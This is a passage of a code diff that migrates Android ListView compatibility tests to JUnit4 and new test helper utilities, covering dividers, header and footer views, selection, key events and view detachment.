-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return r.bottom - r.top > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(() -> r.bottom - r.top > 0);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setDividerHeight(20));
 
         assertEquals(20, mListView.getDividerHeight());
         assertEquals(20, r.bottom - r.top);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setDividerHeight(10));
 
         assertEquals(10, mListView.getDividerHeight());
         assertEquals(10, r.bottom - r.top);
     }
 
+    @Test
     public void testAccessItemsCanFocus() {
         mListView.setItemsCanFocus(true);
         assertTrue(mListView.getItemsCanFocus());
@@ -186,14 +215,15 @@
         // TODO: how to check?
     }
 
-    public void testAccessAdapter() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testAccessAdapter() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
         assertSame(mAdapter_countries, mListView.getAdapter());
         assertEquals(mCountryList.length, mListView.getCount());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_names));
 
         assertSame(mAdapter_names, mListView.getAdapter());
@@ -201,6 +231,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessItemChecked() {
         // NONE mode
         mListView.setChoiceMode(ListView.CHOICE_MODE_NONE);
@@ -273,56 +304,76 @@
         assertFalse(mListView.isItemChecked(4));
     }
 
-    public void testAccessFooterView() {
-        final TextView footerView1 = new TextView(mActivity);
-        footerView1.setText("footerview1");
-        final TextView footerView2 = new TextView(mActivity);
-        footerView2.setText("footerview2");
+    @Test
+    public void testAccessFooterView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new TextView(mActivity);
+            mTextView.setText("footerview1");
+            mSecondTextView = new TextView(mActivity);
+            mSecondTextView.setText("footerview2");
+        });
+        mInstrumentation.waitForIdleSync();
 
-        mInstrumentation.runOnMainSync(() -> mListView.setFooterDividersEnabled(true));
+        mActivityRule.runOnUiThread(() -> mListView.setFooterDividersEnabled(true));
+        assertTrue(mListView.areFooterDividersEnabled());
         assertEquals(0, mListView.getFooterViewsCount());
 
-        mInstrumentation.runOnMainSync(() -> mListView.addFooterView(footerView1, null, true));
+        mActivityRule.runOnUiThread(() -> mListView.addFooterView(mTextView, null, true));
+        assertTrue(mListView.areFooterDividersEnabled());
         assertEquals(1, mListView.getFooterViewsCount());
 
-        mInstrumentation.runOnMainSync(() -> mListView.addFooterView(footerView2));
-
-        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> {
+            mListView.setFooterDividersEnabled(false);
+            mListView.addFooterView(mSecondTextView);
+        });
+        assertFalse(mListView.areFooterDividersEnabled());
         assertEquals(2, mListView.getFooterViewsCount());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
-                () -> mListView.removeFooterView(footerView1));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.removeFooterView(mTextView));
+        assertFalse(mListView.areFooterDividersEnabled());
         assertEquals(1, mListView.getFooterViewsCount());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
-                () -> mListView.removeFooterView(footerView2));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.removeFooterView(mSecondTextView));
+        assertFalse(mListView.areFooterDividersEnabled());
         assertEquals(0, mListView.getFooterViewsCount());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessHeaderView() {
         final TextView headerView1 = (TextView) mActivity.findViewById(R.id.headerview1);
         final TextView headerView2 = (TextView) mActivity.findViewById(R.id.headerview2);
-        mInstrumentation.runOnMainSync(() ->
-                ((ViewGroup) headerView1.getParent()).removeView(headerView1));
-        mInstrumentation.runOnMainSync(() ->
-                ((ViewGroup) headerView2.getParent()).removeView(headerView2));
+        ((ViewGroup) headerView1.getParent()).removeView(headerView1);
+        ((ViewGroup) headerView2.getParent()).removeView(headerView2);
 
-        mInstrumentation.runOnMainSync(() -> mListView.setHeaderDividersEnabled(true));
+        mListView.setHeaderDividersEnabled(true);
+        assertTrue(mListView.areHeaderDividersEnabled());
         assertEquals(0, mListView.getHeaderViewsCount());
 
-        mInstrumentation.runOnMainSync(() -> mListView.addHeaderView(headerView2, null, true));
+        mListView.addHeaderView(headerView2, null, true);
+        assertTrue(mListView.areHeaderDividersEnabled());
         assertEquals(1, mListView.getHeaderViewsCount());
 
-        mInstrumentation.runOnMainSync(() -> mListView.addHeaderView(headerView1));
+        mListView.setHeaderDividersEnabled(false);
+        mListView.addHeaderView(headerView1);
+        assertFalse(mListView.areHeaderDividersEnabled());
         assertEquals(2, mListView.getHeaderViewsCount());
+
+        mListView.removeHeaderView(headerView2);
+        assertFalse(mListView.areHeaderDividersEnabled());
+        assertEquals(1, mListView.getHeaderViewsCount());
     }
 
+    @Test
     public void testHeaderFooterType() throws Throwable {
-        final TextView headerView = new TextView(getActivity());
-        final List<Pair<View, View>> mismatch = new ArrayList<Pair<View, View>>();
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+        final List<Pair<View, View>> mismatch = new ArrayList<>();
         final ArrayAdapter adapter = new ArrayAdapter<String>(mActivity,
                 android.R.layout.simple_list_item_1, mNameList) {
             @Override
@@ -334,10 +385,10 @@
             @Override
             public View getView(int position, View convertView, ViewGroup parent) {
                 if (position == 0) {
-                    if (convertView != null && convertView != headerView) {
-                        mismatch.add(new Pair<View, View>(headerView, convertView));
+                    if (convertView != null && convertView != mTextView) {
+                        mismatch.add(new Pair<>(mTextView, convertView));
                     }
-                    return headerView;
+                    return mTextView;
                 } else {
                     return super.getView(position - 1, convertView, parent);
                 }
@@ -348,80 +399,77 @@
                 return super.getCount() + 1;
             }
         };
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(adapter));
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
-                () -> adapter.notifyDataSetChanged());
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                adapter::notifyDataSetChanged);
 
         assertEquals(0, mismatch.size());
     }
 
-    public void testAccessDivider() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testAccessDivider() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
         Drawable defaultDrawable = mListView.getDivider();
         final Rect r = defaultDrawable.getBounds();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return r.bottom - r.top > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(() -> r.bottom - r.top > 0);
 
         final Drawable d = mActivity.getResources().getDrawable(R.drawable.scenery);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setDivider(d));
         assertSame(d, mListView.getDivider());
         assertEquals(d.getBounds().height(), mListView.getDividerHeight());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setDividerHeight(10));
         assertEquals(10, mListView.getDividerHeight());
         assertEquals(10, d.getBounds().height());
     }
 
-    public void testSetSelection() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testSetSelection() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setSelection(1));
         String item = (String) mListView.getSelectedItem();
         assertEquals(mCountryList[1], item);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setSelectionFromTop(5, 0));
         item = (String) mListView.getSelectedItem();
         assertEquals(mCountryList[5], item);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
-                () -> mListView.setSelectionAfterHeaderView());
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                mListView::setSelectionAfterHeaderView);
         item = (String) mListView.getSelectedItem();
         assertEquals(mCountryList[0], item);
     }
 
-    public void testOnKeyUpDown() {
-        // implementation details, do NOT test
-    }
-
-    public void testPerformItemClick() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testPerformItemClick() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
         mListView.setChoiceMode(ListView.CHOICE_MODE_SINGLE);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setSelection(2));
 
-        final TextView child = (TextView) mAdapter_countries.getView(2, null, mListView);
-        assertNotNull(child);
-        assertEquals(mCountryList[2], child.getText().toString());
+        mActivityRule.runOnUiThread(() ->
+                mTextView = (TextView) mAdapter_countries.getView(2, null, mListView));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(mTextView);
+        assertEquals(mCountryList[2], mTextView.getText().toString());
         final long itemID = mAdapter_countries.getItemId(2);
         assertEquals(2, itemID);
 
-        mInstrumentation.runOnMainSync(() -> mListView.performItemClick(child, 2, itemID));
+        mActivityRule.runOnUiThread(() -> mListView.performItemClick(mTextView, 2, itemID));
         mInstrumentation.waitForIdleSync();
 
         OnItemClickListener onClickListener = mock(OnItemClickListener.class);
@@ -429,37 +477,55 @@
         verify(onClickListener, never()).onItemClick(any(AdapterView.class), any(View.class),
                 anyInt(), anyLong());
 
-        mInstrumentation.runOnMainSync(() -> mListView.performItemClick(child, 2, itemID));
+        mActivityRule.runOnUiThread(() -> mListView.performItemClick(mTextView, 2, itemID));
         mInstrumentation.waitForIdleSync();
 
-        verify(onClickListener, times(1)).onItemClick(mListView, child, 2, 2L);
+        verify(onClickListener, times(1)).onItemClick(mListView, mTextView, 2, 2L);
         verifyNoMoreInteractions(onClickListener);
     }
 
-    public void testSaveAndRestoreInstanceState() {
-        // implementation details, do NOT test
+    @UiThreadTest
+    @Test
+    public void testSaveAndRestoreInstanceState_positionIsRestored() {
+        mListView.setAdapter(mAdapter_countries);
+        assertEquals(0, mListView.getSelectedItemPosition());
+
+        int positionToTest = mAdapter_countries.getCount() - 1;
+        mListView.setSelection(positionToTest);
+        assertEquals(positionToTest, mListView.getSelectedItemPosition());
+        Parcelable savedState = mListView.onSaveInstanceState();
+
+        mListView.setSelection(positionToTest - 1);
+        assertEquals(positionToTest - 1, mListView.getSelectedItemPosition());
+
+        mListView.onRestoreInstanceState(savedState);
+        int measureSpec = View.MeasureSpec.makeMeasureSpec(100, View.MeasureSpec.EXACTLY);
+        mListView.measure(measureSpec,measureSpec);
+        mListView.layout(0, 0, 100, 100);
+        assertEquals(positionToTest, mListView.getSelectedItemPosition());
     }
 
-    public void testDispatchKeyEvent() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testDispatchKeyEvent() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> {
                     mListView.setAdapter(mAdapter_countries);
                     mListView.requestFocus();
                 });
         assertTrue(mListView.hasFocus());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setSelection(1));
         String item = (String) mListView.getSelectedItem();
         assertEquals(mCountryList[1], item);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () ->  {
                     KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A);
                     mListView.dispatchKeyEvent(keyEvent);
                 });
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> {
                     KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN,
                             KeyEvent.KEYCODE_DPAD_DOWN);
@@ -471,25 +537,25 @@
         assertEquals(mCountryList[4], item);
     }
 
-    public void testRequestChildRectangleOnScreen() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testRequestChildRectangleOnScreen() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
-        TextView child = (TextView) mAdapter_countries.getView(0, null, mListView);
-        assertNotNull(child);
-        assertEquals(mCountryList[0], child.getText().toString());
+        mActivityRule.runOnUiThread(() ->
+                mTextView = (TextView) mAdapter_countries.getView(0, null, mListView));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(mTextView);
+        assertEquals(mCountryList[0], mTextView.getText().toString());
 
         Rect rect = new Rect(0, 0, 10, 10);
-        assertFalse(mListView.requestChildRectangleOnScreen(child, rect, false));
+        assertFalse(mListView.requestChildRectangleOnScreen(mTextView, rect, false));
 
         // TODO: how to check?
     }
 
-    public void testOnTouchEvent() {
-        // implementation details, do NOT test
-    }
-
     @UiThreadTest
+    @Test
     public void testCanAnimate() {
         MyListView listView = new MyListView(mActivity, mAttributeSet);
 
@@ -504,12 +570,9 @@
         assertTrue(listView.canAnimate());
     }
 
-    @UiThreadTest
-    public void testDispatchDraw() {
-        // implementation details, do NOT test
-    }
 
     @UiThreadTest
+    @Test
     public void testFindViewTraversal() {
         MyListView listView = new MyListView(mActivity, mAttributeSet);
         TextView headerView = (TextView) mActivity.findViewById(R.id.headerview1);
@@ -523,6 +586,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testFindViewWithTagTraversal() {
         MyListView listView = new MyListView(mActivity, mAttributeSet);
         TextView headerView = (TextView) mActivity.findViewById(R.id.headerview1);
@@ -536,22 +600,6 @@
         assertSame(headerView, listView.findViewWithTagTraversal("header"));
     }
 
-    public void testLayoutChildren() {
-        // TODO: how to test?
-    }
-
-    public void testOnFinishInflate() {
-        // implementation details, do NOT test
-    }
-
-    public void testOnFocusChanged() {
-        // implementation details, do NOT test
-    }
-
-    public void testOnMeasure() {
-        // implementation details, do NOT test
-    }
-
     /**
      * MyListView for test
      */
@@ -586,67 +634,67 @@
         }
     }
 
-    /**
-     * The following functions are merged from frameworktest.
-     */
     @MediumTest
-    public void testRequestLayoutCallsMeasure() throws Exception {
-        ListView listView = new ListView(mActivity);
+    @UiThreadTest
+    @Test
+    public void testRequestLayoutCallsMeasure() {
         List<String> items = new ArrayList<>();
         items.add("hello");
-        Adapter<String> adapter = new Adapter<String>(mActivity, 0, items);
-        listView.setAdapter(adapter);
+        MockAdapter<String> adapter = new MockAdapter<>(mActivity, 0, items);
+        mListView.setAdapter(adapter);
 
         int measureSpec = View.MeasureSpec.makeMeasureSpec(100, View.MeasureSpec.EXACTLY);
 
         adapter.notifyDataSetChanged();
-        listView.measure(measureSpec, measureSpec);
-        listView.layout(0, 0, 100, 100);
+        mListView.measure(measureSpec, measureSpec);
+        mListView.layout(0, 0, 100, 100);
 
-        MockView childView = (MockView) listView.getChildAt(0);
+        MockView childView = (MockView) mListView.getChildAt(0);
 
         childView.requestLayout();
         childView.onMeasureCalled = false;
-        listView.measure(measureSpec, measureSpec);
-        listView.layout(0, 0, 100, 100);
+        mListView.measure(measureSpec, measureSpec);
+        mListView.layout(0, 0, 100, 100);
         Assert.assertTrue(childView.onMeasureCalled);
     }
 
     @MediumTest
+    @UiThreadTest
+    @Test
     public void testNoSelectableItems() throws Exception {
-        ListView listView = new ListView(mActivity);
         // We use a header as the unselectable item to remain after the selectable one is removed.
-        listView.addHeaderView(new View(mActivity), null, false);
+        mListView.addHeaderView(new View(mActivity), null, false);
         List<String> items = new ArrayList<>();
         items.add("hello");
-        Adapter<String> adapter = new Adapter<String>(mActivity, 0, items);
-        listView.setAdapter(adapter);
+        MockAdapter<String> adapter = new MockAdapter<>(mActivity, 0, items);
+        mListView.setAdapter(adapter);
 
-        listView.setSelection(1);
+        mListView.setSelection(1);
 
         int measureSpec = View.MeasureSpec.makeMeasureSpec(100, View.MeasureSpec.EXACTLY);
 
         adapter.notifyDataSetChanged();
-        listView.measure(measureSpec, measureSpec);
-        listView.layout(0, 0, 100, 100);
+        mListView.measure(measureSpec, measureSpec);
+        mListView.layout(0, 0, 100, 100);
 
         items.remove(0);
 
         adapter.notifyDataSetChanged();
-        listView.measure(measureSpec, measureSpec);
-        listView.layout(0, 0, 100, 100);
+        mListView.measure(measureSpec, measureSpec);
+        mListView.layout(0, 0, 100, 100);
     }
 
     @MediumTest
-    public void testFullDetachHeaderViewOnScroll() {
+    @Test
+    public void testFullDetachHeaderViewOnScroll() throws Throwable {
         final AttachDetachAwareView header = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setAdapter(new DummyAdapter(1000));
             mListView.addHeaderView(header);
         });
         assertEquals("test sanity", 1, header.mOnAttachCount);
         assertEquals("test sanity", 0, header.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.scrollListBy(mListView.getHeight() * 3);
         });
         assertNull("test sanity, header should be removed", header.getParent());
@@ -655,15 +703,16 @@
     }
 
     @MediumTest
-    public void testFullDetachHeaderViewOnRelayout() {
+    @Test
+    public void testFullDetachHeaderViewOnRelayout() throws Throwable {
         final AttachDetachAwareView header = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setAdapter(new DummyAdapter(1000));
             mListView.addHeaderView(header);
         });
         assertEquals("test sanity", 1, header.mOnAttachCount);
         assertEquals("test sanity", 0, header.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setSelection(800);
         });
         assertNull("test sanity, header should be removed", header.getParent());
@@ -672,9 +721,10 @@
     }
 
     @MediumTest
-    public void testFullDetachHeaderViewOnScrollForFocus() {
+    @Test
+    public void testFullDetachHeaderViewOnScrollForFocus() throws Throwable {
         final AttachDetachAwareView header = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setAdapter(new DummyAdapter(1000));
             mListView.addHeaderView(header);
         });
@@ -682,28 +732,29 @@
         assertEquals("test sanity", 0, header.mOnDetachCount);
         while(header.getParent() != null) {
             assertEquals("header view should NOT be detached", 0, header.mOnDetachCount);
-            sendKeys(KeyEvent.KEYCODE_DPAD_DOWN);
-            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, null);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mListView, KeyEvent.KEYCODE_DPAD_DOWN);
+            WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, null);
         }
         assertEquals("header view should be detached", 1, header.mOnDetachCount);
         assertFalse(header.isTemporarilyDetached());
     }
 
     @MediumTest
-    public void testFullyDetachUnusedViewOnScroll() {
+    @Test
+    public void testFullyDetachUnusedViewOnScroll() throws Throwable {
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.scrollListBy(mListView.getHeight() * 2);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.scrollListBy(-mListView.getHeight() * 2);
             // listview limits scroll to 1 page which is why we call it twice here.
             mListView.scrollListBy(-mListView.getHeight() * 2);
@@ -715,20 +766,21 @@
     }
 
     @MediumTest
-    public void testFullyDetachUnusedViewOnReLayout() {
+    @Test
+    public void testFullyDetachUnusedViewOnReLayout() throws Throwable {
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setSelection(800);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setSelection(0);
         });
         assertNotNull("test sanity, view should be re-added", theView.getParent());
@@ -738,23 +790,24 @@
     }
 
     @MediumTest
-    public void testFullyDetachUnusedViewOnScrollForFocus() {
+    @Test
+    public void testFullyDetachUnusedViewOnScrollForFocus() throws Throwable {
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
         while(theView.getParent() != null) {
             assertEquals("the view should NOT be detached", 0, theView.mOnDetachCount);
-            sendKeys(KeyEvent.KEYCODE_DPAD_DOWN);
-            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, null);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mListView, KeyEvent.KEYCODE_DPAD_DOWN);
+            WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, null);
         }
         assertEquals("the view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
         while(theView.getParent() == null) {
-            sendKeys(KeyEvent.KEYCODE_DPAD_UP);
-            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, null);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mListView, KeyEvent.KEYCODE_DPAD_UP);
+            WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, null);
         }
         assertEquals("the view should be re-attached", 2, theView.mOnAttachCount);
         assertEquals("the view should not recieve another detach", 1, theView.mOnDetachCount);
@@ -762,43 +815,45 @@
     }
 
     @MediumTest
-    public void testSetPadding() {
+    @Test
+    public void testSetPadding() throws Throwable {
         View view = new View(mActivity);
         view.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
                 ViewGroup.LayoutParams.WRAP_CONTENT));
         view.setMinimumHeight(30);
         final DummyAdapter adapter = new DummyAdapter(2, view);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
-            mListView.setLayoutParams(new LinearLayout.LayoutParams(200, 100));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
+            mListView.setLayoutParams(new FrameLayout.LayoutParams(200, 100));
             mListView.setAdapter(adapter);
         });
         assertEquals("test sanity", 200, mListView.getWidth());
         assertEquals(200, view.getWidth());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setPadding(10, 0, 5, 0);
             assertTrue(view.isLayoutRequested());
         });
         assertEquals(185, view.getWidth());
         assertFalse(view.isLayoutRequested());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setPadding(10, 0, 5, 0);
             assertFalse(view.isLayoutRequested());
         });
     }
 
     @MediumTest
-    public void testResolveRtlOnReAttach() {
-        View spacer = new View(getActivity());
+    @Test
+    public void testResolveRtlOnReAttach() throws Throwable {
+        View spacer = new View(mActivity);
         spacer.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
                 250));
         final DummyAdapter adapter = new DummyAdapter(50, spacer);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
-            mListView.setLayoutParams(new LinearLayout.LayoutParams(200, 150));
+            mListView.setLayoutParams(new FrameLayout.LayoutParams(200, 150));
             mListView.setAdapter(adapter);
         });
         assertEquals("test sanity", 1, mListView.getChildCount());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             // we scroll in pieces because list view caps scroll by its height
             mListView.scrollListBy(100);
             mListView.scrollListBy(100);
@@ -806,14 +861,14 @@
         });
         assertEquals("test sanity", 1, mListView.getChildCount());
         assertEquals("test sanity", 1, mListView.getFirstVisiblePosition());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.scrollListBy(-100);
             mListView.scrollListBy(-100);
             mListView.scrollListBy(-60);
         });
         assertEquals("test sanity", 1, mListView.getChildCount());
         assertEquals("item 0 should be visible", 0, mListView.getFirstVisiblePosition());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mListView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
             mListView.scrollListBy(100);
             mListView.scrollListBy(100);
             mListView.scrollListBy(60);
@@ -840,9 +895,9 @@
         }
     }
 
-    private class Adapter<T> extends ArrayAdapter<T> {
+    private class MockAdapter<T> extends ArrayAdapter<T> {
 
-        public Adapter(Context context, int resource, List<T> objects) {
+        public MockAdapter(Context context, int resource, List<T> objects) {
             super(context, resource, objects);
         }
 
@@ -853,8 +908,8 @@
     }
 
     @MediumTest
-    public void testRequestLayoutWithTemporaryDetach() throws Exception {
-        ListView listView = new ListView(mActivity);
+    @Test
+    public void testRequestLayoutWithTemporaryDetach() throws Throwable {
         List<String> items = new ArrayList<>();
         items.add("0");
         items.add("1");
@@ -862,38 +917,34 @@
         final TemporarilyDetachableMockViewAdapter<String> adapter =
                 new TemporarilyDetachableMockViewAdapter<>(
                         mActivity, android.R.layout.simple_list_item_1, items);
-        mInstrumentation.runOnMainSync(() -> {
-            listView.setAdapter(adapter);
-            mActivity.setContentView(listView);
-        });
-        mInstrumentation.waitForIdleSync();
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
 
-        assertEquals(items.size(), listView.getCount());
+        assertEquals(items.size(), mListView.getCount());
         final TemporarilyDetachableMockView childView0 =
-                (TemporarilyDetachableMockView) listView.getChildAt(0);
+                (TemporarilyDetachableMockView) mListView.getChildAt(0);
         final TemporarilyDetachableMockView childView1 =
-                (TemporarilyDetachableMockView) listView.getChildAt(1);
+                (TemporarilyDetachableMockView) mListView.getChildAt(1);
         final TemporarilyDetachableMockView childView2 =
-                (TemporarilyDetachableMockView) listView.getChildAt(2);
+                (TemporarilyDetachableMockView) mListView.getChildAt(2);
         assertNotNull(childView0);
         assertNotNull(childView1);
         assertNotNull(childView2);
 
         // Make sure that the childView1 has focus.
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, childView1, childView1::requestFocus);
-        assertTrue(childView1.isFocused());
